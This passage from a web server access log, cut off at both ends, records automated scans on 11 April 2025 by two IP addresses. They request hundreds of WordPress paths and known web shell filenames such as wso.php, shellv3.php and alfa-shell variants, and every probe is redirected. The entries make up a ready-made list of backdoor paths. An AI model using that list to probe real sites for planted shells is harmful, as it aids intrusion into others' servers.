HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:37 -0400] "GET /11index.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:37 -0400] "GET /b0.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:38 -0400] "GET /invoice.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:40 -0400] "GET /logs_view.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:40 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:41 -0400] "GET /ern1.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:42 -0400] "GET /access_logs.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:42 -0400] "GET /wp-content/plugins/instabuilder2/cache/plugins/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:43 -0400] "GET /wp-content/plugins/masterx/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:44 -0400] "GET /1.php7 HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:44 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:45 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:45 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/index.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:46 -0400] "GET /audio.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:46 -0400] "GET /block-bindings.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:47 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:47 -0400] "GET /activity.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:48 -0400] "GET /database.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:48 -0400] "GET /endpoint.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:49 -0400] "GET /wp-admin/css/colors/sunrise/about.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:50 -0400] "GET /admin.php7 HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:50 -0400] "GET /tutorial.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:51 -0400] "GET /logs.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:51 -0400] "GET /wp-includes/js/imgareaselect/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:52 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:52 -0400] "GET /wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:53 -0400] "GET /cgi-bin/upfile.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:53 -0400] "GET /cgi-sys/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:53 -0400] "GET /wp-includes/blocks/more/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:54 -0400] "GET /shellv3.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:54 -0400] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:54 -0400] "GET /wp-content/themes/9geiaoo5/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:54 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:55 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:55 -0400] "GET /wp-content/plugins/whusrhk/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:55 -0400] "GET /articles.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:56 -0400] "GET /wp-content/upgrade-temp-backup/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:56 -0400] "GET /gins/wp-help/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:58 -0400] "GET /wp-content HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:58 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:58 -0400] "GET /sim.php/wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:59 -0400] "GET /site/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:59 -0400] "GET /templates/beez3/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:21:00 -0400] "GET /wp-content/plugins/dummyyummy/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:21:00 -0400] "GET /wp/wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:21:00 -0400] "GET /wp-includes/Text/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:21:01 -0400] "GET /wp-content/plugins/dazmhjz/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:21:01 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:21:01 -0400] "GET /storage/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:21:02 -0400] "GET /wp-content/themes/twentytwenty/404.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:21:02 -0400] "GET /pomo/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:21:03 -0400] "GET /wp-content/upgrade/sx.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:21:03 -0400] "GET /wp-content/plugins/WordPressCore/fm.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:21:03 -0400] "GET /wp-includes/images/include.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:21:04 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "-" 54.236.1.13 - - [11/Apr/2025:03:31:07 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Pinterestbot/1.0; +http://www.pinterest.com/bot.html)" 195.200.26.27 - - [11/Apr/2025:03:32:26 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 182.43.70.143 - - [11/Apr/2025:04:04:34 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 13.82.231.247 - - [11/Apr/2025:04:57:24 -0400] "GET /.well-known/pki-validation/wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:25 -0400] "GET /wp-content/banners/about.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:25 -0400] "GET /1p.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:26 -0400] "GET /wp-includes/SimplePie/HdGGN/index.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:26 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:26 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:26 -0400] "GET /css/dist/block-directory/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:27 -0400] "GET /migrate.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:27 -0400] "GET /wp-content/themes/twentytwentytwo/inc/patterns/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:27 -0400] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:27 -0400] "GET /Njima.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:28 -0400] "GET /wp-content/plugins/ojyiyys/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:28 -0400] "GET /wp-content/plugins/not/includes/about.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:28 -0400] "GET /wp-includes/blocks/shortcode/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:29 -0400] "GET /customize.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:29 -0400] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:30 -0400] "GET /.well-known/pki-validation/ssl.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:30 -0400] "GET /resize.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:30 -0400] "GET /wp-includes/css/loco.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:31 -0400] "GET /wp-content/plugins/xt/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:31 -0400] "GET /wander.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:32 -0400] "GET /wp-content/uploads/suit5y.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:32 -0400] "GET /wp-content/plugins/qwfdsop/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:33 -0400] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:33 -0400] "GET /wp-includes/sitemaps/about.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:33 -0400] "GET /wp-includes/php-compat/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:33 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:34 -0400] "GET /ws.php7 HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:34 -0400] "GET /stats.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:34 -0400] "GET /wp-admin/css/colors/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:35 -0400] "GET /libraries/phpmailer/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:35 -0400] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:35 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:36 -0400] "GET /.well-known/caches.php.suspected HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:36 -0400] "GET /.well-known/acme-challenge/adminfuns.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:36 -0400] "GET /images/headers/strenms.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:37 -0400] "GET /wp-content/plugins/mqdlgzp/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:37 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:37 -0400] "GET /wp-includes/plugins.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:38 -0400] "GET /wp-content/plugins/lgexwbe/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:38 -0400] "GET /wordpress/wp-content/plugins/sdxxcfgt/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:39 -0400] "GET /wp-content/plugins/WordPressCore/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:39 -0400] "GET /logout.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:40 -0400] "GET /wp-includes/php-compat/wp/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:41 -0400] "GET /new-index.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:41 -0400] "GET /wp-admin/css/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:41 -0400] "GET /alfanew.PHP7 HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:42 -0400] "GET /wp-content/plugins/myhbidf/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:42 -0400] "GET /xt/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:43 -0400] "GET /01.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:44 -0400] "GET /wp-content/upgrade/alfa-shell-v4.1-tesla-decoded.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:45 -0400] "GET /wp-content/themes/astra/inc/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:45 -0400] "GET /modules/mod_webshell/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:45 -0400] "GET /wp-content/plugins/plugins/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:46 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:46 -0400] "GET /.well-known/config HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:46 -0400] "GET /filefuns.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:47 -0400] "GET /wp-includes/Text/Diff/Engine/com_search.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:47 -0400] "GET /images/resumes/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:47 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:48 -0400] "GET /wp-admin/plugins HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:48 -0400] "GET /wp-admin/css/colors/coffee/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:49 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:49 -0400] "GET /wp-content/themes/astra/inc/builder/type/header/button/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:50 -0400] "GET /wp-includes/Cez57/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:50 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:50 -0400] "GET /user-edit.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:51 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/jasmine.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:52 -0400] "GET /wp-consar.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:52 -0400] "GET /wp-links.php/wp-content/plugins/wp-content/uploads/wp_live_chat/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:53 -0400] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:53 -0400] "GET /wp-content/plugins/backup-backup/includes/1a895fa06f.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:54 -0400] "GET /wp-content/plugins/vslnxrk/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:54 -0400] "GET /wp-includes/customize/class-wp-customize-sidebar-secure.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:55 -0400] "GET /0z.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:55 -0400] "GET /.well-known/zxhfwqyt.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:55 -0400] "GET /wp-includes/js/tinymce/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:56 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:56 -0400] "GET /wp-content/uploads/2014/03/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:57 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:57 -0400] "GET /print/bkindex.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:57 -0400] "GET /authorize.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:58 -0400] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:57:59 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:00 -0400] "GET /wp-includes/customize/chosen.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:00 -0400] "GET /wxo.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:01 -0400] "GET /notifications.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:01 -0400] "GET /assets/fonts/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:02 -0400] "GET /wp-admin/js/wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:04 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:06 -0400] "GET /wp-content/plugins/6i85g10k/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:06 -0400] "GET /wp-includes/images/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:07 -0400] "GET /new.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:07 -0400] "GET /comment.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:08 -0400] "GET /bala.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:08 -0400] "GET /wp-includes/blocks/block/moon.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:09 -0400] "GET /wp-admin HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:09 -0400] "GET /wp-contentt.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:10 -0400] "GET /wp-includes/css/dist/edit-site/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:10 -0400] "GET /crop.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:11 -0400] "GET /wp-content/plugins/erin/yani/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:11 -0400] "GET /config_load.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:11 -0400] "GET /wp-content/plugins/about HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:12 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:12 -0400] "GET /.well-known/uploads HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:12 -0400] "GET /wp-content/plugins/vmgbzgi/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:13 -0400] "GET /img/about.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:13 -0400] "GET /wp-includes/log404.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:13 -0400] "GET /wp-content/themes/onum-child/custom-templates/dir/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:14 -0400] "GET /wp-theme.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:14 -0400] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:14 -0400] "GET /wp-admin/themes HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:14 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:15 -0400] "GET /wp-content/themes/9rafadt6/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:15 -0400] "GET /wp-content/plugins/wp-db-ajax-made/wp-ajax.php/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:15 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:16 -0400] "GET /pdf.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:16 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:17 -0400] "GET /wp-content/plugins/yyobang/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:17 -0400] "GET /wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:17 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:18 -0400] "GET /maintenance.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:18 -0400] "GET /wp-admin/user/1.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:18 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:19 -0400] "GET /wp-includes/js/tinymce/wp-includes/js/tinymce/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:19 -0400] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:20 -0400] "GET /wp-includes/blocks/heading/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:21 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:22 -0400] "GET /wp-content/plugins/linkpreview/db.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:22 -0400] "GET /wp-content/themes/twentyseventeen/page/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:22 -0400] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:23 -0400] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:23 -0400] "GET /google.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:23 -0400] "GET /wp-content/plugins/sid/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:24 -0400] "GET /wp-includes/blocks/comment-template/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:24 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:24 -0400] "GET /assets/images/tinyimg.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:25 -0400] "GET /.well-known/wso.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:25 -0400] "GET /wp-includes/Cez57/index.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:25 -0400] "GET /cc.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:26 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:26 -0400] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:26 -0400] "GET /.well-known/pki-validation/themes.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:26 -0400] "GET /wp-content/plugins/WordPressCore/swvhvgnq.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:26 -0400] "GET /.well-known/init HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:27 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:27 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:27 -0400] "GET /wp-content/gallery/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:28 -0400] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:28 -0400] "GET /DxHhVcy2bmJ.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:28 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:28 -0400] "GET /st.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:29 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:29 -0400] "GET /reset.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:30 -0400] "GET /wp-includes/js/dist/vendor/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:30 -0400] "GET /wp-content/themes/7nd9yzxp/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:30 -0400] "GET /wp-content/plugins/dmozhzr/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:31 -0400] "GET /ds.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:31 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:31 -0400] "GET /assets/wp-blog.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:32 -0400] "GET /wp-content/plugins/background-image-cropper/ups.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:32 -0400] "GET /wp-content/plugins/dfgs/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:32 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:33 -0400] "GET 